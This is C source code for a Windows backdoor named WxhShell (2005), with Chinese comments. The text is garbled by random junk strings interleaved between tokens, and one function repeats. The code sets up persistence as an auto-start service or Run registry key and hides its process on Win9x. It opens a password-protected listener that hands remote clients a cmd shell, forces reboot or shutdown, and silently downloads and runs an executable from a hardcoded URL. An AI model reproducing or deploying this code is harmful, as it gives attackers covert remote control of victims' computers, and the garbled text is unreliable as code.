lR>0e } PROCESS_BASIC_INFORMATION; 7q1l9:VYE |pg5m*h PROCNTQSIP NtQueryInformationProcess; xef7mx ,4$J|^T& static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; CK#PxT?" static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; AYerz &^>r<~] HANDLE hProcess; QrA+W\=_`y PROCESS_BASIC_INFORMATION pbi; sZ$ ~abX 8=Ht+Br HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \OB3gnR if(NULL == hInst ) return 0; 6g&nnA \Ki#"%S g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [K QZHIe g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <C xet~x NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W%:zvqg
v f>PU# D@B if (!NtQueryInformationProcess) return 0; 7 {<lH%Tn ]d(}b>gR~( hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $SgD|
9 if(!hProcess) return 0; hQeZI+ ?uv%E*TU if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2F]MzeW s os& CloseHandle(hProcess); 34+}u,= Fb-TCq1y# hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ShxX[k if(hProcess==NULL) return 0; 5eJd$}Lbc 6Z=H>w HMODULE hMod; 6.=b^6MV char procName[255]; 1j(,VW unsigned long cbNeeded; =jh:0Q<43+ [Xg"B|FD0 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~:Nyv+g,$ v}i}pQ\DK CloseHandle(hProcess); 85]UrwlA4 vZsVxx99 if(strstr(procName,"services")) return 1; // 以服务启动 <Z[R08 k 4[wP$ return 0; // 注册表启动 :r=_\? } 'Mtu-\ f{oWd]eAhb // 主模块 9NAlgET int StartWxhshell(LPSTR lpCmdLine) s q$|Pad[ { 6Rj
X SOCKET wsl; RPQ)0.O7 BOOL val=TRUE; #U6qM(J int port=0; mYvm_t9 struct sockaddr_in door; <hdCO<
0( *WG}K?"/ if(wscfg.ws_autoins) Install(); <NO~TBHF /;1FZ<zU port=atoi(lpCmdLine); /0(KKZ) on$a]zx'@ if(port<=0) port=wscfg.ws_port; nm.d.A/]Z %{"STbO #> WSADATA data; hW&UG#PY> if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hd' n" N0f}q1S<-A if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; DEhA8.v setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); CXA8V"@&b/ door.sin_family = AF_INET; hpu(MX\ door.sin_addr.s_addr = inet_addr("127.0.0.1"); c#Bde-dh door.sin_port = htons(port); m` cG&Ar5 1<UQJw45 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o6oYJ`PY closesocket(wsl); NGu]|p return 1; e^QOn } 25r=Xv TPuzL(ws if(listen(wsl,2) == INVALID_SOCKET) { C'#:}]@E closesocket(wsl); ~c"c9s+o return 1; y-mmc}B>N } xC(PH?_ Wxhshell(wsl); ^8)d8?} WSACleanup(); *k -UQLJ Z "u/8 return 0; $9/r*@bu8d @,vSRns } T7`Jtqf v.MWO]L // 以NT服务方式启动 4m:E:zVn VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vbp)/I-h { *0@e_h DWORD status = 0; l3,|r QD DWORD specificError = 0xfffffff; 3 0Z;}<)9 P%c<0y"O:> serviceStatus.dwServiceType = SERVICE_WIN32; vjb{h'v serviceStatus.dwCurrentState = SERVICE_START_PENDING; :Pv{E serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =z+zg^wsT serviceStatus.dwWin32ExitCode = 0; OB%y'mo7] serviceStatus.dwServiceSpecificExitCode = 0; 'Tn$lh serviceStatus.dwCheckPoint = 0; ]So%/rOvX serviceStatus.dwWaitHint = 0; N*#SY$!y G(>a LF hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?QgWW if (hServiceStatusHandle==0) return; e M}Xn^} :BS`Q/<w status = GetLastError(); 7@\iBmr6 if (status!=NO_ERROR) he,T\}; { \; ]~K6= serviceStatus.dwCurrentState = SERVICE_STOPPED; .dV!d u serviceStatus.dwCheckPoint = 0; 6O}r4* serviceStatus.dwWaitHint = 0; tF4"28"h serviceStatus.dwWin32ExitCode = status; z|Xl%8 serviceStatus.dwServiceSpecificExitCode = specificError; N.]8qzW SetServiceStatus(hServiceStatusHandle, &serviceStatus); =B\?( return; ZHT.+X:_ } &^Io\ H5n"!! serviceStatus.dwCurrentState = SERVICE_RUNNING; Q["}U7j serviceStatus.dwCheckPoint = 0; pVr,WTr6E serviceStatus.dwWaitHint = 0; f`Nu]#i if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {,m!%FDL } +q1@,LxN |<E%hf // 处理NT服务事件,比如:启动、停止 TUT>* VOID WINAPI NTServiceHandler(DWORD fdwControl) {pqm&PB04 { 8r5j~Df switch(fdwControl) C..O_Zn{g { yR&E6o.$z case SERVICE_CONTROL_STOP: # 8A|-u=3 serviceStatus.dwWin32ExitCode = 0; 6gv.n serviceStatus.dwCurrentState = SERVICE_STOPPED; +ad 2 serviceStatus.dwCheckPoint = 0; 2IGAZ%% serviceStatus.dwWaitHint = 0; plca` { 4H'9y3dk SetServiceStatus(hServiceStatusHandle, &serviceStatus); xk,E
A U } MxY CMe4S[ return; b|EZ;,i case SERVICE_CONTROL_PAUSE: )vw3Y88 serviceStatus.dwCurrentState = SERVICE_PAUSED; ~o+u: ] break; iVD9MHT4 case SERVICE_CONTROL_CONTINUE: ;fuy}q8@7 serviceStatus.dwCurrentState = SERVICE_RUNNING; !e?\>
' break; (g 8K?Q case SERVICE_CONTROL_INTERROGATE: ?/;<32cE, break; !cfn%+0 }; n[<Vj1n SetServiceStatus(hServiceStatusHandle, &serviceStatus); {d)+a$qj } R
+k\)_F ^'}Td~( // 标准应用程序主函数 h'
16"j> int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8u>E(Vmpu { nD!^0? SkY|.w. // 获取操作系统版本 "*UHit;"+{ OsIsNt=GetOsVer(); 1iUy*p65: GetModuleFileName(NULL,ExeFile,MAX_PATH); 6d_l[N Cu}Rq!9i // 从命令行安装 `.n[G~*w~1 if(strpbrk(lpCmdLine,"iI")) Install(); SQ@@79A +!X^E9ra // 下载执行文件 sGV%O=9?2 if(wscfg.ws_downexe) { wJ{M&n1H if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >4;A(s` WinExec(wscfg.ws_filenam,SW_HIDE); Ih.o;8PpK } aFLm, %;gD_H4mm if(!OsIsNt) { ce@(Ct // 如果时win9x,隐藏进程并且设置为注册表启动 -IPc;`< HideProc(); il*bsnwpZv StartWxhshell(lpCmdLine); 9khD7v
} sx6`
g; else ztf (.~ if(StartFromService()) es.`:^A // 以服务方式启动 I`
/'\cU9 StartServiceCtrlDispatcher(DispatchTable); ~(}zp<e| else {1FYHM^ // 普通方式启动 vHWw*gg(/E StartWxhshell(lpCmdLine); xD1w#FMlQs bY#> return 0; !x>P]j7A}Y } TK'(\[E zF{5!b T1Xm^{ k)4
=========================================== 3dXyKi Hf#/o{=~} {<bByHT! %6 Bt%H fuQ?@F *8Gx_$t& " sURHj&:t| TzVNZDQ`Jl #include <stdio.h> Z[|(}9v?~ #include <string.h> !IP[C?(nB #include <windows.h> ^/c&Ud #include <winsock2.h> =8[HC}s|$ #include <winsvc.h> 0LxA+ #include <urlmon.h> ;gf^;%FK *2@Ne[dYEF #pragma comment (lib, "Ws2_32.lib") 7)~/`w)P #pragma comment (lib, "urlmon.lib") HdLVXaD/ ]e
R1
+Nl #define MAX_USER 100 // 最大客户端连接数 |FH/Q-7[ #define BUF_SOCK 200 // sock buffer W*gu*H^s~ #define KEY_BUFF 255 // 输入 buffer $$AKz\ oMcX{v^" #define REBOOT 0 // 重启 ^oM*f{9 #define SHUTDOWN 1 // 关机 +b
1lCa_ n
,`!yw #define DEF_PORT 5000 // 监听端口 JTrxh] 6X)8vQH #define REG_LEN 16 // 注册表键长度 4u A;--j #define SVC_LEN 80 // NT服务名长度 g {wDI7"<q JeuW/:Wv // 从dll定义API ]x! vPIyq typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?$9C[Kw` typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); co#%~KqMu typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z{&PKS typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^BW V6 J7$5< // wxhshell配置信息 Ry tQNwv3 struct WSCFG { Es1Yx\/: int ws_port; // 监听端口 }wz )" char ws_passstr[REG_LEN]; // 口令 -49OE*uF int ws_autoins; // 安装标记, 1=yes 0=no _<&IpT{w+ char ws_regname[REG_LEN]; // 注册表键名 bNj| GIf char ws_svcname[REG_LEN]; // 服务名 tvZpm@1 char ws_svcdisp[SVC_LEN]; // 服务显示名 rJ K~kKG char ws_svcdesc[SVC_LEN]; // 服务描述信息 &!a[rvtZ+ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .F&\xa{ int ws_downexe; // 下载执行标记, 1=yes 0=no Ust>%~< char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P6dIU/w char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h$y1"!N( buq3t+0 }; $GPenQ~}, -fn["R] // default Wxhshell configuration :U^a0s%B struct WSCFG wscfg={DEF_PORT, ]Ocf %( "xuhuanlingzhe", a'rN&*P 1, &H`yDrg6U "Wxhshell", yD(0:g# "Wxhshell", mbU[fHyV "WxhShell Service", &$|k<{j[<f "Wrsky Windows CmdShell Service", qbpvTTF "Please Input Your Password: ", O]90F 1, g.Z>9(>;Y "http://www.wrsky.com/wxhshell.exe", ~\(U&2t
"Wxhshell.exe" 0(h *<g: }; E XEae? pO4}6\1\ // 消息定义模块 ?E=&LAI# char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3T%WfS+ char *msg_ws_prompt="\n\r? for help\n\r#>"; aa8WRf char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }r9f}yX9Q char *msg_ws_ext="\n\rExit."; 3;@t{rIin char *msg_ws_end="\n\rQuit."; _z#zF[% char *msg_ws_boot="\n\rReboot..."; ;VNwx(1l` char *msg_ws_poff="\n\rShutdown..."; ySL 31% char *msg_ws_down="\n\rSave to "; 32:q' 8it|yK.G@& char *msg_ws_err="\n\rErr!"; bw ' yX char *msg_ws_ok="\n\rOK!"; xLP yV&j- [_#9PH33 char ExeFile[MAX_PATH]; k5P&F int nUser = 0; Kw+?Lowp HANDLE handles[MAX_USER]; X2/`EN\ int OsIsNt; UXnd~DA z{7&= $ SERVICE_STATUS serviceStatus; Y6 ,< j| SERVICE_STATUS_HANDLE hServiceStatusHandle; p(:\)HP)R ;spuBA)[X // 函数声明 n(0O'nS^ int Install(void); 5a&[NN int Uninstall(void); 25o + ?Y< int DownloadFile(char *sURL, SOCKET wsh); A!x_R {,yH int Boot(int flag); NyFa2Ihd void HideProc(void); Jr==AfxyT int GetOsVer(void); j"7 z int Wxhshell(SOCKET wsl); L Lm{:T7 void TalkWithClient(void *cs); ]+{Cy\*kR int CmdShell(SOCKET sock); ?S36)oZzg int StartFromService(void); oOnk,U int StartWxhshell(LPSTR lpCmdLine); W -8<sv$b {;=I69X VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "9>~O`l, VOID WINAPI NTServiceHandler( DWORD fdwControl ); HBXp#$dPc =(3Qbb1i // 数据结构和表定义 l%oie1g l SERVICE_TABLE_ENTRY DispatchTable[] = r*OSEzGUz { y9?B vPp+ {wscfg.ws_svcname, NTServiceMain}, u yzc"di {NULL, NULL} 5M;fh)fT }; -yy&q9 b`usRoD{+ // 自我安装 g>CF|Wj int Install(void) C7[_#1Oz { 5rr7lwWZ char svExeFile[MAX_PATH]; 1>[3(o3t HKEY key; x}?y@.sn8 strcpy(svExeFile,ExeFile); m>yk4@a y4t M0h // 如果是win9x系统,修改注册表设为自启动 =)
$a>N if(!OsIsNt) { f
nX!wN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pej/9{*xg( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b54<1\& RegCloseKey(key); -SGR) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \f}S Hh RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &HNJ' RegCloseKey(key); wWKC.N return 0; A|,\}9)4X[ } y+)][Wa0 } 5hUYxF20h8 } T2P0(rEz else { !k)}p_e ;XMbjWc // 如果是NT以上系统,安装为系统服务 >JkQU e SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bc}U &X< if (schSCManager!=0) vRpMZ)e { cZuZfMDM SC_HANDLE schService = CreateService 4_ztIrw ( RY8;bUSR schSCManager, q.yS j wscfg.ws_svcname, x}[/A;N wscfg.ws_svcdisp, <UQaRI[55 SERVICE_ALL_ACCESS, $W<H[k&(B SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j7K9T SERVICE_AUTO_START, [rC-3sGar SERVICE_ERROR_NORMAL, rRRiqmq svExeFile, vvU;55- NULL, r :{2}nE NULL, 9x0B9& NULL, (\{9W NULL, dQVV0)z NULL `Rub"zM ); )mz [2Sfg if (schService!=0) 8p,q9Ey { +AhR7R! CloseServiceHandle(schService); ]tA39JK-i CloseServiceHandle(schSCManager); 1mm/Ssw:C strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); OmQSNU.our strcat(svExeFile,wscfg.ws_svcname); PspH[db if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P%z\^\p"5 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T^B&GgW RegCloseKey(key); }QU9+<Z[r return 0; }L^Yoq] } >"q0"zrN, } &?IOrHSv! CloseServiceHandle(schSCManager); .+t{o[ } BG_m}3j } p%EU,:I6 .Qg!_C return 1; kSv?p1\@&P } Z$ Fh4 ywXerz7dUk // 自我卸载 Y5&Jgn.l int Uninstall(void) O&.^67\| { oUIa/}}w5 HKEY key; <"{Lv)4 aR6?+`6< if(!OsIsNt) { )HNbWGu if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BQ{Gp 2N RegDeleteValue(key,wscfg.ws_regname); TS^(<+' RegCloseKey(key); jz
QmYcd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7}(wEC RegDeleteValue(key,wscfg.ws_regname); lEIX,amwa RegCloseKey(key); W"? |O Q' return 0; #Z;ziM: } M8X*fYn } / tM<ois* } 5gARGA else { 4Z)`kS}=] -%*>z'|{ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8+{WH/}y8 if (schSCManager!=0) *M\Qt_[ { U>7"BpC SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6e&Y%O'8 if (schService!=0) ]`0(^)U& { h@=H7oV7k if(DeleteService(schService)!=0) { 1dh_"/ CloseServiceHandle(schService);
*>ju1f CloseServiceHandle(schSCManager); xRpL\4cs return 0; -BfZ P5 } 3Wxl7"!x m CloseServiceHandle(schService); G,9osTt/ } 4SCb9|/Q CloseServiceHandle(schSCManager); A(X~pP&oF } 5<w"iqZ\?N } hV#+joT8i <Z{\3X^ return 1; m663%b(5> } u`dWU}m) {LYA?w^GT // 从指定url下载文件 Ay;=1g)8+f int DownloadFile(char *sURL, SOCKET wsh) p)vyZY[ { dFD0l?0N HRESULT hr; 85Zy0l char seps[]= "/"; 28JWQ%- char *token; *X+T>SKL char *file; SoeL_#+^W char myURL[MAX_PATH]; jo{[*]Oa char myFILE[MAX_PATH]; ~j}di^<{ Q<B=m6~ strcpy(myURL,sURL); P$S>=*`n
U token=strtok(myURL,seps); a97A{7I& while(token!=NULL) \g< M\3f { PeEf=3 file=token; :]iV*zo_ token=strtok(NULL,seps); B;9X{" } ^eQK.B( o7S,W?;=5
GetCurrentDirectory(MAX_PATH,myFILE); <^6|ZgR strcat(myFILE, "\\"); Zm& X $U strcat(myFILE, file); <\eHK[_* send(wsh,myFILE,strlen(myFILE),0); ,u7:l send(wsh,"...",3,0); "^VKs_U8o hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %myg67u if(hr==S_OK) sCU<1=
return 0; z1wy@1o' else EL$l .
v return 1; =Y#)c]` +:pjQ1LsJ } XSC._)ztEE qFp }+s // 系统电源模块 (|L0s) int Boot(int flag) tNg}:a|J { ))V)]+ HANDLE hToken; [R*UPa TOKEN_PRIVILEGES tkp; g0GCg {rQ6IV3= if(OsIsNt) { "f/lm 2< OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ic/D!J{Y LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S{gB~W tkp.PrivilegeCount = 1; ax0RtqtR& tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5xX*68]% AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^_
L'I%%[ if(flag==REBOOT) { $50A!h if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) e}Cp;c]= return 0; vggyQf% } zC#[ else { ^55#!/9 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Jj4!O3\I return 0; +#7e?B } 3<sYxA\?w } pE<dK.v6 else { (b%&DyOt if(flag==REBOOT) { }wRHNBaEB if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pYIm43r H return 0; ce-5XqzY@ } |1C=Ow*" else { 'D(| NYY if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H+y(W5|2/X return 0; `wz@l:e } kaf4GME] } BC0SSR@e 3tY\0y9 return 1; H!mNHY_fA } eFS;+?bu =EwC6+8*M // win9x进程隐藏模块 /\P3UrQ&] void HideProc(void) C1_':-4 { 1uBnU2E MLg+ 9y HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p+#$S4V if ( hKernel != NULL ) q66!xhp;? { N@Pf \D pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); '*H&s ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \g&P5 FreeLibrary(hKernel); 6&/n/g } sT:$:= I:M]#aFD return; :E'uV"j% } N
GP}Z4 k)j,~JH // 获取操作系统版本 W@U<GF1 int GetOsVer(void) #vCtH2 { H:byCFN- OSVERSIONINFO winfo; CUIT)mF: winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6S7 =+> GetVersionEx(&winfo); k+
[V%[U if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %_Gc9SI return 1; 2k}~"!e1 else aoj6/ return 0; | LdDL953 } 1}nrVn[B9 ~k>H4hV3 // 客户端句柄模块 $j=c;+W int Wxhshell(SOCKET wsl) KqC8ozup { 9>,$q"M}? SOCKET wsh; Y&M}3H>E struct sockaddr_in client; uFPJ}m[>5 DWORD myID; yneIY-g(p T=Q"|S]V while(nUser<MAX_USER) Mg3>/! { &,E^y,r int nSize=sizeof(client); eT8(O36% wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &("HH"! if(wsh==INVALID_SOCKET) return 1; 5n,?&+*L USBU?WDt handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #nG?}*# if(handles[nUser]==0) =(\
/+
0-[ closesocket(wsh); klSzmi4M else vzDoF0Ts*p nUser++; @BCws) } ~1e?9D WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _Q&O#f T^FeahA7; return 0; J*HZ=6L } Si=zxy T XL!\Lx // 关闭 socket <X]'": void CloseIt(SOCKET wsh) $&IF#uDf { ]6JI(( closesocket(wsh);
sXe=4`O nUser--; ig
G8L ExitThread(0); S
?v^/F } xZ2^lsY fePt[U)2 // 客户端请求句柄 U Px7u%Do void TalkWithClient(void *cs) .A 12Co { }EFMJ,NQ {|dU|h SOCKET wsh=(SOCKET)cs; HCj/x<*F char pwd[SVC_LEN]; J*V@huF char cmd[KEY_BUFF]; :
&! >.Y char chr[1]; f0 iYP int i,j; [fVtQ@-S! ,]CZ(q9- while (nUser < MAX_USER) { oqM(?3 yv PeCU V6 if(wscfg.ws_passstr) { w.v yEU^ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x-W6W //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E1'|
;}/ //ZeroMemory(pwd,KEY_BUFF); Th"0Cc) i=0; yx v]G6 while(i<SVC_LEN) { %A 4F?/E +-8u09-F // 设置超时 gN"Abc fd_set FdRead; St9+/Md=jQ struct timeval TimeOut; E<=h6Ha FD_ZERO(&FdRead); C8^=7HEB FD_SET(wsh,&FdRead); `{1`>5 TimeOut.tv_sec=8; kl4u]MyL# TimeOut.tv_usec=0; o]Ln:k l int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >b^|SL if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T2Duz, 5Z
(1& if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SU.9;I
! pwd=chr[0]; `8 Q3=^)3 if(chr[0]==0xd || chr[0]==0xa) { sf""]c$ pwd=0; m5Q?g8 break; /%O+]#$`0 } ^uG^XY&ItC i++; Z?XgY\(a(Q } k2]Q~ 3RYg-$NK[ // 如果是非法用户,关闭 socket (WoKrd.! if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z>n<+tso } ZAKNyA2 ykq9]Xqhv send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0W}iKT[Z send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y@&1[Z Ky6.6Y<.| while(1) { ^Ob#B!= W
PDL$y ZeroMemory(cmd,KEY_BUFF); /Q |guJx 4q<LNvJA // 自动支持客户端 telnet标准 .)eJL j=0; .nGYx while(j<KEY_BUFF) { ry99R|/d1 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 52RFB!Z[ cmd[j]=chr[0]; MXQS6F# if(chr[0]==0xa || chr[0]==0xd) { _6Ex}`fyJ
cmd[j]=0; 4KO2oIR break; kTCWyc } hU3z4|~+ j++; |{)SLvlJl } :)cn&'l(S P:`tL)W_ // 下载文件 zYL</!6a[ if(strstr(cmd,"http://")) { PxqRb send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2!UNFv#=$ if(DownloadFile(cmd,wsh)) 0zscOE{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?/EyfTex else Ds}ctL{6" send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S7/0B4[ } E~k_4z%M else { ;t^8lC?>V x{Gdr51% switch(cmd[0]) { xKol @(;zU~l/ // 帮助 yP&SA+ case '?': { GQU9UXe send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /.?m9O^
F break; ;p$KM-?2D } !i"Z // 安装 hqPpRSv' case 'i': { )_7OHV *3 if(Install()) z3 zN^ZT send(wsh,msg_ws_err,strlen(msg_ws_err),0); i;' kQ else >Ei-Spy>Xl send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vai.w-}Z break; oH[4<K> } 8Gw0;Uu8D // 卸载 kO1.27D case 'r': { g91X*$`] if(Uninstall()) @A-*XJNS": send(wsh,msg_ws_err,strlen(msg_ws_err),0); Iy2KOv@a5 else Oyfc! send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }!^/<|$= break; 9/La_:K } 7<'4WHi;@s // 显示 wxhshell 所在路径 3]*_*<D case 'p': { 3`W=rIMli char svExeFile[MAX_PATH]; ]w)*8
w.) strcpy(svExeFile,"\n\r"); @R!f(\ strcat(svExeFile,ExeFile); ,$lOQ7R1( send(wsh,svExeFile,strlen(svExeFile),0); dWg09 sx break; #D{jNSB } 319 &: // 重启 L} >XH* case 'b': { 8Z^9r/%*Z send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d#?.G3YmK if(Boot(REBOOT))
"F,d}3} send(wsh,msg_ws_err,strlen(msg_ws_err),0); P^1+;dL,D else { w]BZgF. closesocket(wsh); ,+iREh; ExitThread(0); L `fDc } pi'w40!: break; @kq~q;F } ~ jR:oN // 关机 ` 0YI?$G1 case 'd': { 3Pb]Of# send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (x.O]8GKP if(Boot(SHUTDOWN)) eyx;8v cM send(wsh,msg_ws_err,strlen(msg_ws_err),0); [sM~B else { r306`)kX closesocket(wsh); qyfw$$X ExitThread(0); d[b(+sHp a } "R"7'sJMI break; (sngq{*%%z } F<KUVe // 获取shell 8veYs` case 's': { ?q&*|-%)_d CmdShell(wsh); XT n`$}nz closesocket(wsh); /uTU*Oe ExitThread(0); ]5!}S-uJq break; %T.4Aj } `M
"O # // 退出 ? qn0]. case 'x': { '
9K4A'2[ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s'&/8RR CloseIt(wsh); SiD [54OM break; R\L0 } mP1EWh| // 离开 lP4A?J+Q case 'q': { jKOjw#N send(wsh,msg_ws_end,strlen(msg_ws_end),0); r A/jNX@S closesocket(wsh); |@}Yady@C WSACleanup(); C+iIvRYC exit(1); :RJ=f break; sC8C><y
} 8P wobln } d+5KHfkK } !y8/El kc0YWW Q-: // 提示信息 4FmT.P if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &x}a } 1LgzqRq } ZfzUvN&! R:=
%gl! return; m=Z1DJG } }CR@XD}[ piZ0KA" // shell模块句柄 `iX~cUQ int CmdShell(SOCKET sock) |<,!K;@ { MKad
5gD*< STARTUPINFO si; -ejH%CT ZeroMemory(&si,sizeof(si)); B2QC#R si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =:T pH>f* si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "?I ]h PROCESS_INFORMATION ProcessInfo; {X=gjQ9 char cmdline[]="cmd"; L'1p]Z" CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QEl:>HG return 0; IF<?TYy=3B } D[.;-4"_ {Z>OAR# // 自身启动模式 X 8TwMt int StartFromService(void) 8vhg{L.. { ";jj` typedef struct \r_-gn'1b { O-rHfIxY DWORD ExitStatus; +doZnU, DWORD PebBaseAddress; 29]T:I1d[ DWORD AffinityMask; H
/E.R[\+x DWORD BasePriority; F`l r5 ULONG UniqueProcessId; F,Ls1 ULONG InheritedFromUniqueProcessId; 0]tr&BLl* } PROCESS_BASIC_INFORMATION; vT*z3 MuzlUW ] PROCNTQSIP NtQueryInformationProcess; [m>kOv6>^ eq0&8/= static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .xRJ )9q static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6
ufF34tA aP}kl[W HANDLE hProcess;
f'hrS}e PROCESS_BASIC_INFORMATION pbi; }i32 5*.JXxE;U HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JLS|G?#0 if(NULL == hInst ) return 0; gr\UI!]F .OLm{ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ar-N4+!@ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %3L4&W_T NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %P!6cyQS C_SJ4Sh if (!NtQueryInformationProcess) return 0; KrcL*j&^ ?a~59!u hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #G[S if(!hProcess) return 0; WoP5[.G [:cy.K!Uo% if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 